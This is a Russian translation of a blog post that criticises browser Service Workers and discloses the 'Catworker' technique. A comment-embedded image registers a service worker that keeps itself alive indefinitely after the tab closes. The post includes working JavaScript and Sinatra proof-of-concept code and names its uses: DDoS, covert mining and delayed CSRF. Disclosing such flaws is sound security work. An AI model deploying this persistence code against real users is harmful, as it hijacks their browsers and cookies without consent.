Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму технологию.
Пример вы найдете по этой ссылке. Закройте вкладку. Через несколько минут откройте DevTools/Application/ServiceWorker/Show All. Видите, код продолжает работать (хотя сейчас это может уже исправлено).
Catworker работает непрерывно и, подобно зомби, выполняет различные задания. То есть не нужно использовать вредоносную страницу, достаточно любого блога с адресом . Возможность добавлять сторонние изображения в комментариях позволит запустить наш код:
<img src="https://truefactor.io/cat.gif">
Веб-разработчики такого не ожидали: как тег изображения может запустить выполнение кода JS? Каким образом JS может выполняться непрерывно? Разве так можно?
Service Worker — это слишком сложно
Чтобы повысить популярность «прогрессивных» веб-приложений, команда Chrome создала Service Worker, не спрашивая у вас разрешения. На практике это новое «продвинутое» решение используется только чтобы показывать всплывающее push-уведомление (Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, – прим. переводчика). Если вы не верите мне на слово, откройте свои зарегистрированные Service Worker и изучите их содержимое.
Даже это будет сделать не так-то просто: сотни строк кода, зависимость от FCM и т. д. (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, – прим. переводчика). Разместите sw.js на сервере, зарегистрируйте worker на стороне клиента, подождите получения Promise, затем выполните serviceWorkerRegistration.pushManager.getSubscription(), запросите конечную точку и registration_id и сохраните их на сервере.
Так реализовал бы я:
navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
По моему скромному мнению, Service Worker — это прекрасный ответ на несуществующий вопрос. Научиться использовать это решение гораздо сложнее, чем Appcache (AppCache, в свою очередь, считается устаревшей технологией со своими минусами, – прим. переводчика ), к тому же оно менее надежно.
Как обеспечить долговременную работу
Service Worker отключается через 60 секунд после того, как получает последнее событие, например, onmessage, onfetch, onforeignfetch и т. д.
1. Отправка сообщений самому себе.
self.addEventListener('message', function (event) {
var spawnNewMessageEvent = function (data) {
return new Promise(function (success) {
setTimeout(function () {
var sw = self.registration.active;
sw.postMessage(data);
success("success");
}, 30000)
});
};
event.waitUntil(doSomething().then(spawnNewMessageEvent));
});
1. Два worker отправляют друг другу запросы ForeignFetch. Чтобы использовать ForeignFetch, вам понадобится получить токен Origin Trial — полностью автоматизированный процесс, который не требует проверки или подтверждения и позволяет злоумышленнику применять новые экспериментальные технологии на реальных пользователях без их согласия.
2. Catworker отправляет cat.gif запрос fetch, в результате регистрируется новый worker с другой областью работы (это называется регистрация по ссылке). Процесс повторяется каждые 55 секунд.
require 'sinatra'
ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ=='
get "/cat.gif" do
response.headers['Origin-Trial'] = ot;
response.headers['Access-Control-Allow-Origin'] = '*';
response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'
if params[:skip]
'ok'
else
response.headers['Content-Type'] = "image/gif"
File.open('./cat.gif').read
end
end
get "/sw" do
response.headers['Content-Type'] = "text/javascript"
return sw=<<HTML
//#{rand(999999999).to_s}
setTimeout(function(){
console.log("Forking")
fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999));
}, 30000);
HTML
end
Как это могут использовать злоумышленники?
Прямо сейчас у злоумышленников есть три варианта атаки вашего браузера:
- DDoS (легко предотвратить с помощью черного списка).
- Вычисления с большой нагрузкой на память, например майнинг scrypt/litecoin. Можно получить лишь 2000 хеш-функций в секунду, но зато абсолютно бесплатно. К тому же можно использовать для вычислений миллионы машин. Обратите внимание на другие функции, которые предлагает Service Worker.
- Самый опасный вариант — отложенная атака CSRF. Обнаружив на веб-сайте уязвимость CSRF, вы можете направить задачу всем своим «зомби» и использовать их файлы cookie, чтобы выполнять запросы от их имени.
Процессы Service Worker постоянны по своей природе. Они выполняются после того, как вы закроете вкладку, произвольно получают события синхронизации и запускаются, обновляются каждые 24 часа, а если вы разрешаете веб-сайту отправлять push-уведомления, они могут выполнять код JS при каждом показе всплывающего окна. Все это уже давно используется.
В будущем у злоумышленников будет еще больше способов обойти защиту, чтобы их код продолжал работать.
Сейчас этому классу ошибок уделяют недостаточно внимания. Тикеты публичны (1, 2, 3) и получают минимальный приоритет.
Помимо всего этого, подход Origin Trial не безупречен: кто угодно может получить токен, любой может воспользоваться экспериментальной функцией в своих целях. Нужна возможность включать и отключать Service Worker по желанию.
Я убежден, что нужно добавить флажок для отключения Service Worker. Лично мне эта технология пользы не приносит. (Вы читали документацию Cache? Это же как китайская грамота.) Новые функции поступают в эксплуатацию без должной проверки, так что нельзя быть уверенным в Same Origin Policy и других важных концепций безопасности… Вот еще несколько описаний несерьезных уязвимостей: FF, JSONP+XSS=takeover, атака доменов изолированной программной среды (Sandbox).
Автор: Badoo